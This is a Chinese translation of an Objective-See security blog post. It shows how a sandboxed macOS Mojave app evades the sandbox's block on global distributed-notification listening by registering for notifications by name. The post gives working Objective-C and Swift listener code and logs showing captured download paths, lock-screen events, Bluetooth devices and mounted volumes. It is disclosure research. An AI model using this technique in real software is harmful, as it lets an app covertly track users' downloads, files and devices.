如何绕过Mojave沙箱限制

原文:https://objective-see.com/blog/blog_0x39.html

0x00 概述

在本文中,我将详细介绍一个微不足道的隐私问题,尽管苹果公司已经试图解决这个问题(力度并不大),但沙箱应用程序还是可以通过这些技术暗中监视毫无戒心的用户,这些技术甚至能在最新版本的macOS系统上使用!

注意:这个问题最早在Objective-See的Mac安全会议上公布,相关议题为Objective by the Sea。本文更深入地探讨了相关技术细节。演讲文稿请参考Protecting the Garden of Eden

0x01 背景

从安全和隐私的角度来看,沙箱是一个很好的解决办法。 在正确设计和实现的沙箱的约束下,应用程序会在很多方面受到各种限制。例如,除了其他各种限制之外,应用程序不能任意访问用户文件(比如用户图片或下载文件)、捕获用户键盘输入信息或破坏操作系统。这真是极好的事情。

当然,任何沙箱在实现上都会有其缺陷,导致恶意应用程序能够完全“逃离”沙箱,或者虽然仍然在沙箱中,但可以绕过某些特定的沙箱约束。在这篇文章中,我们阐述的是后一种情况,也就是略微绕过Apple在“分布式通知”方面的沙箱限制,获取沙箱外部环境的一些信息,监控(某些)用户隐私操作和操作系统行为。

OSX/macOS允许应用或系统组件“跨越任务边界”来广播通知。由于这些事件通过DistributedNotificationCenter类进行广播,因此我们通常将其称为“分布式通知”。根据分布式通知类的文档中的描述,Apple声明此类是“一种通知调度机制,可以跨任务边界广播通知”。

更具体一点:

DistributedNotificationCenter实例会广播NSNotification对象,将其广播到已注册到默认分布式通知中心的其他任务中的对象。

在下文中我们很快就会看到,一旦任何时候应用程序、程序和系统守护进程在全局广播各种通知,只要我们注册一个全局分布式通知监听器,就可以了解到关于系统以及用户的很多信息,这一点非常有趣。

为了全局注册以便接收所有分布式通知,我们只需调用CFNotificationCenterAddObserver函数,将name参数设置为nil即可(如下所示)。这样只要目标广播分布式通知,系统就会调用我们指定的回调函数。

代码如下所示,我们注册了一个全局分布式通知监听器(注意:name参数值为nil,表明我们想要监听所有通知):

//callback
// invoked anytime anybody broadcasts a notification
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, 
                     const void *object, CFDictionaryRef userInfo)
{
    NSLog(@"event: %@", (__bridge NSString*)name_cf);
    NSLog(@"user info: %@", userInfo);
    NSLog(@"object: %@", (__bridge id)object);

    return;
}


int main(int argc, const char * argv[]) 
{
   //register for distributed notifications
   // note: as name is nil, this means "all"
   CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, 
     nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately);

   [[NSRunLoop currentRunLoop] run];

   return 0;
}

注意:我们也可以通过NSDistributedNotificationCenter方法来全局注册,以接收所有分布式通知:

- (void)addObserver:(id)observer 
           selector:(SEL)selector 
               name:(NSNotificationName)name 
             object:(NSString *)object 
 suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;

如果我们编译并执行以下代码,就可以开始观察各种系统事件,例如屏幕锁定及解锁、屏幕保护程序启动及停止、蓝牙活动、网络活动和用户文件下载:

$ ./sniffsniff

2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked
2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501

2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked
2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501

2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch
2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart
2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: {
    runFromPref = 0;
}

2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop
2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop
2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: {
    runFromPref = 0;
}
2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan
2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc
2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished
2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip

注意:CFDictionaryRef userInfo以及const void *object的值取决于具体通知。比如,对于com.apple.DownloadFileFinished通知,object参数会包含已下载的文件名。

按照Apple的设计,注册这样一个全局监听器并不需要特殊的权限,这一点非常好。但是,在沙箱的上下文中,系统显然不应该传递这类的通知(发送到沙箱的全局侦听器),因为至少从隐私的角度来看,这显然违反了沙箱隔离的基本概念。

0x02 沙箱中的分布式通知

Apple明确(并且正确地)认识到一点,从隐私(也可能是安全性)的角度来看,沙箱应用程序不应该能够获取全局分布式通知。因此,如果沙箱应用尝试注册全局分布式通知,那么操作系统沙箱应该严格阻止此操作:

$ ./sniffsniff

2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing.

Date/Time:     Mon Nov 19 21:21:41 2018
OS Version:    18B75
Application:   sniffsniff

Backtrace:
0   CoreFoundation      0x00007fff3c082c46 __CFGenerateReport + 197
1   CoreFoundation      0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035
2   CoreFoundation      0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14
3   Foundation          0x00007fff3e28845a -[NSDistributedNotificationCenter 
                        addObserver:selector:name:object:suspensionBehavior:] + 233
4   Foundation          0x00007fff3e28836b -[NSDistributedNotificationCenter 
                        addObserver:selector:name:object:] + 29
5   sniffsniff          0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142

很好,看来Apple的macOS沙箱的确在尝试阻止(在沙箱中运行的)恶意应用程序全局嗅探分布式通知,如上输出和环境中的提示信息:*** attempt to register for all distributed notifications thwarted by sandboxing

那么是否一切正常?

不幸的是,事实与Apple公司的愿望相反。换句话说,这个机制并没有经过深思熟虑。虽然系统试图阻止从应用沙箱中接收(全局)分布式通知,但我们还是能找到解决办法,如下问所述。

0x03 在macOS沙箱中全局嗅探分布式通知

已打全补丁的Mojave系统(可能拓展到其他版本的macOS)无法充分阻止沙箱应用程序接收分布式通知(其中可能包含敏感信息)。尽管Apple会阻止这类应用程序注册全局接收分布式通知接收器(即将name参数设置为nil),但没有采取其他措施阻止沙箱应用通过名称(例如com.apple.DownloadFileFinished)来注册接收任何通知。 因此,恶意应用可以直接通过名称来注册任何(或者所有?)分布式通知,从而轻而易举地避开Apple对沙箱的限制。虽然这个操作需要一些额外的代码行,但最终任何应用程序都可以通过多次注册,接收(捕获)所有分布式通知,即使位于沙箱中也能完成这个任务!

我们来看一个例子。 假设恶意应用程序想要监视用户下载行为。如果恶意应用运行在macOS沙箱的上下文中,那么通常这是严格禁止的行为。这一点非常正常,根据定义,沙箱的功能就是提供隔离环境,保护用户的安全和隐私。

然而,通过名称来注册接收com.apple.DownloadFileFinished分布式通知,(沙箱)应用程序仍然可以秘密监视用户下载的所有文件:

首先,让我们确保我们的恶意应用程序(sniffsniff)的确在沙箱中运行:

然后,让我们编写一些代码来监听com.apple.DownloadFileFinished分布式通知:

static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo)
{
    NSLog(@"event: %@", (__bridge NSString*)name_cf);
    NSLog(@"user info: %@", userInfo);
    NSLog(@"object: %@", (__bridge id)object);

    return;
}


- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {

    NSString* name = @"com.apple.DownloadFileFinished";  
    CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, 
      callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
}

从macOS沙箱中运行sniffsniff,可以发现即使是打全补丁的Mojave环境中,我们也能偷偷监控用户的下载行为:

./sniffsniff
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null)
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov

注意:com.apple.DownloadFileFinished分发通知似乎仅会广播从用户浏览器下载的文件进。然而,这竟然包括以隐身模式下载的内容!

现在,重要的是要注意一点,虽然我们现在可以在沙箱中监视用户下载行为,但由于其他沙箱限制规则,我们实际上无法读取此类文件的内容,然而文件名本身可能已经告诉我们一些信息。

由于我们必须通过名称来注册每个通知(为了规避沙箱保护),那么问题来了,我们要如何确定感兴趣的通知的名称(即com.apple.DownloadFileFinished等)。虽然可能有一个 更全面的解决方案,但我选择简单的方法,为所有分布式通知安装一个全局监听器(当然这必须在沙箱之外完成),然后只需观察通知名称即可。返回沙箱环境,限制我们可以注册任何感兴趣的通知(通过名称技巧)。

虽然我们可以使用前文提供的代码,但这里我使用了Digita Security提供的更为强大的功能:MonitorKit(即将发布的一个框架)。由于这个框架包含一个全局分布式通知的监视器,因此我们可以在几行代码中激活监视器,开始接收所有广播分发通知的名称:

import Cocoa
import MonitorKit

@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {

    func applicationDidFinishLaunching(_ aNotification: Notification) {

        //call into MonitorKit
        // enable 'distributed notifications' monitor
        let monitor = DistributedNotifcationsMonitor()
        monitor.start() { event in

            print("event: ", event.name.rawValue)

            if let userInfo = event.userInfo {
                print("event info: ", userInfo)
            }

            if let object = event.object {
                print("event object: ", object)
            }    
        }
    }
}

注意:这是Swift代码。

执行此代码后,我们可以得到一些有趣的分布式通知(恶意沙箱应用程序可以注册这些通知来观察外部消息):

event info:  [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>(
com.objective-see.KnockKnock)
event info:  [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
event info:  [AnyHashable("originatorAuditToken"): ]
event object:  com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat

event info:  [AnyHashable("originatorAuditToken"): ]
event object:  com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
KextArrayKey =  (
            "com.apple.message.bundleID" = "com.objective-see.lulu";
            "com.apple.message.kextname" = "LuLu.kext";
            "com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext";
            "com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
event info:  [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
event info:  [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>(
{
    ADDRESS = "60-c5-47-89-08-cc";
    NAME = "Apple Trackpad";
    "PRODUCT_ID" = 782;
    "SNIFF_ATTEMPTS" = 2;
    "VENDOR_ID" = 1452;
},
{
    ADDRESS = "04-52-c7-77-0d-4e";
    NAME = "Bose QuietComfort 35";
    "PRODUCT_ID" = 16396;
    "SNIFF_ATTEMPTS" = 1;
    "VENDOR_ID" = 158;
},
{
    ADDRESS = "34-88-5d-6b-5b-49";
    NAME = "Logitech K811";
    "PRODUCT_ID" = 45847;
    "SNIFF_ATTEMPTS" = 1;
    "VENDOR_ID" = 1133;
})
event info:  [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]

注意:这并不是完整的分布式通知名称列表,大家可以继续挖掘。

0x04 总结

macOS沙箱的功能非常明确,就是用来防止沙箱应用程序深入了解用户和系统操作隐私数据。Apple清楚地意识到全局分布式通知监听器可能会破坏这些设计目标,因而会尝试阻止这类行为:

*** attempt to register for all distributed notifications thwarted by sandboxing.

不幸的是,Apple的尝试并没有真正起作用,因此无法避免这种情况(这种情况非常正常)。只要简单地使用名称来注册通知,沙箱应用程序就可以不断注册,最终接收(捕获)所有分布式通知。 使用这种方法,沙箱应用就可以违反核心沙箱原则,通过执行以下操作来破坏用户的隐私:跟踪新应用程序的安装、监视正在使用的各种文件和应用程序、跟踪已加载的文件夹、观察用户下载行为等等。

虽然如此,(从我个人角度来看)这个问题本身并不构成安全漏洞,但显然违反了macOS沙箱的设计目标,因此Apple肯定会再次尝试修复这个问题。

源链接

Hacking more

...